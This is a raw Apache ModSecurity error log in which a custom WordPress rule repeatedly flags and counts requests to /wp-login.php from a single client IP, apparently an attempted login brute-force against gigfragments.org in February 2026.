[Sat Feb 28 03:34:17.066750 2026] [:error] [pid 15240:tid 15245] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxuS1iKL_41Rk9A9O0KwAAAAM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:34:20.127597 2026] [:error] [pid 15240:tid 15247] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxvC1iKL_41Rk9A9O0LQAAAAU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:34:22.070541 2026] [:error] [pid 15240:tid 15252] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxvi1iKL_41Rk9A9O0LgAAAAo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:34:24.892505 2026] [:error] [pid 15240:tid 15250] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxwC1iKL_41Rk9A9O0MQAAAAg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:34:26.772947 2026] [:error] [pid 15240:tid 15256] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxwi1iKL_41Rk9A9O0MgAAAA4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:34:29.637004 2026] [:error] [pid 15240:tid 15265] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxxS1iKL_41Rk9A9O0NQAAABc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:34:31.618801 2026] [:error] [pid 15240:tid 15262] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxxy1iKL_41Rk9A9O0NwAAABQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:34:34.416560 2026] [:error] [pid 15240:tid 15257] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxyi1iKL_41Rk9A9O0PAAAAA8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:34:36.269254 2026] [:error] [pid 15240:tid 15242] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxzC1iKL_41Rk9A9O0PQAAAAA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:34:39.220793 2026] [:error] [pid 15240:tid 15247] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxzy1iKL_41Rk9A9O0QQAAAAU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:34:41.440235 2026] [:error] [pid 15240:tid 15248] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHx0S1iKL_41Rk9A9O0QgAAAAY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:34:44.330960 2026] [:error] [pid 15240:tid 15263] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHx1C1iKL_41Rk9A9O0RQAAABU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:34:46.518682 2026] [:error] [pid 15240:tid 15250] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHx1i1iKL_41Rk9A9O0RgAAAAg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:34:49.220694 2026] [:error] [pid 15240:tid 15256] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHx2S1iKL_41Rk9A9O0SAAAAA4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:34:51.220491 2026] [:error] [pid 15240:tid 15251] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHx2y1iKL_41Rk9A9O0SQAAAAk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:34:54.064159 2026] [:error] [pid 15240:tid 15265] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHx3i1iKL_41Rk9A9O0TAAAABc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:34:56.109902 2026] [:error] [pid 15240:tid 15254] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHx4C1iKL_41Rk9A9O0TQAAAAw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:35:00.239889 2026] [:error] [pid 15240:tid 15262] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHx5C1iKL_41Rk9A9O0TwAAABQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:35:02.219574 2026] [:error] [pid 15240:tid 15242] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHx5i1iKL_41Rk9A9O0UwAAAAA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:35:05.083591 2026] [:error] [pid 15240:tid 15247] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHx6S1iKL_41Rk9A9O0WAAAAAU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:35:07.174169 2026] [:error] [pid 15240:tid 15250] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHx6y1iKL_41Rk9A9O0WwAAAAg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:35:10.203869 2026] [:error] [pid 15240:tid 15244] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHx7i1iKL_41Rk9A9O0YQAAAAI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:35:12.079565 2026] [:error] [pid 15240:tid 15242] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHx8C1iKL_41Rk9A9O0aAAAAAA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:35:14.945113 2026] [:error] [pid 15240:tid 15246] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHx8i1iKL_41Rk9A9O0dgAAAAQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:35:16.938604 2026] [:error] [pid 15240:tid 15258] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHx9C1iKL_41Rk9A9O0fQAAABA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:35:19.807729 2026] [:error] [pid 15240:tid 15260] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHx9y1iKL_41Rk9A9O0fwAAABI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:35:21.831432 2026] [:error] [pid 15240:tid 15250] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHx-S1iKL_41Rk9A9O0gAAAAAg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:35:24.822645 2026] [:error] [pid 15240:tid 15257] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHx_C1iKL_41Rk9A9O0hQAAAA8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:35:26.916507 2026] [:error] [pid 15240:tid 15249] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHx_i1iKL_41Rk9A9O0hwAAAAc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:35:29.910618 2026] [:error] [pid 15240:tid 15258] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyAS1iKL_41Rk9A9O0jgAAABA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:35:31.874074 2026] [:error] [pid 15240:tid 15255] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyAy1iKL_41Rk9A9O0jwAAAA0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:35:34.684874 2026] [:error] [pid 15240:tid 15251] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyBi1iKL_41Rk9A9O0lQAAAAk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:35:36.547336 2026] [:error] [pid 15240:tid 15257] [client 62.60.130.210:63364] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyCC1iKL_41Rk9A9O0lgAAAA8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:35:54.152530 2026] [:error] [pid 33723:tid 33753] [client 62.60.130.210:52747] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyGlhQrWqxbeNSs4aJagAAABg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:35:56.103081 2026] [:error] [pid 33723:tid 33744] [client 62.60.130.210:52747] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyHFhQrWqxbeNSs4aJbQAAAA8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:35:59.300222 2026] [:error] [pid 33723:tid 33735] [client 62.60.130.210:52747] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyH1hQrWqxbeNSs4aJcQAAAAY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:36:01.651804 2026] [:error] [pid 33723:tid 33732] [client 62.60.130.210:52747] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyIVhQrWqxbeNSs4aJdwAAAAM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:36:09.592443 2026] [:error] [pid 33978:tid 34001] [client 62.60.130.210:59900] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyKfjZiAvhCEF6BzfpswAAARA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:36:11.851836 2026] [:error] [pid 33978:tid 33999] [client 62.60.130.210:59900] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyK_jZiAvhCEF6BzfpuwAAAQ4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:36:32.702873 2026] [:error] [pid 34489:tid 34573] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyQGzhQsTfEZWyYbzISQAAAAY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:36:35.566906 2026] [:error] [pid 34489:tid 34581] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyQ2zhQsTfEZWyYbzIVAAAAA4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:36:37.718967 2026] [:error] [pid 34489:tid 34585] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyRWzhQsTfEZWyYbzIWgAAABI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:36:40.698576 2026] [:error] [pid 34489:tid 34588] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHySGzhQsTfEZWyYbzIYwAAABU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:36:42.703118 2026] [:error] [pid 34489:tid 34582] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHySmzhQsTfEZWyYbzIZwAAAA8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:36:45.493169 2026] [:error] [pid 34489:tid 34590] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyTWzhQsTfEZWyYbzIbgAAABc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:36:47.496709 2026] [:error] [pid 34489:tid 34570] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyT2zhQsTfEZWyYbzIdQAAAAM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:36:50.362209 2026] [:error] [pid 34489:tid 34580] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyUmzhQsTfEZWyYbzIfQAAAA0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:36:52.333026 2026] [:error] [pid 34489:tid 34576] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyVGzhQsTfEZWyYbzIgQAAAAk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:36:55.211972 2026] [:error] [pid 34489:tid 34570] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyV2zhQsTfEZWyYbzIhwAAAAM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:36:57.194358 2026] [:error] [pid 34489:tid 34569] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyWWzhQsTfEZWyYbzIiwAAAAI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:37:00.086974 2026] [:error] [pid 34489:tid 34580] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyXGzhQsTfEZWyYbzIkAAAAA0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:37:02.487598 2026] [:error] [pid 34489:tid 34587] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyXmzhQsTfEZWyYbzIlAAAABQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:37:05.430138 2026] [:error] [pid 34489:tid 34567] [client 62.60.130.210:55002] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHyYWzhQsTfEZWyYbzImQAAAAA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
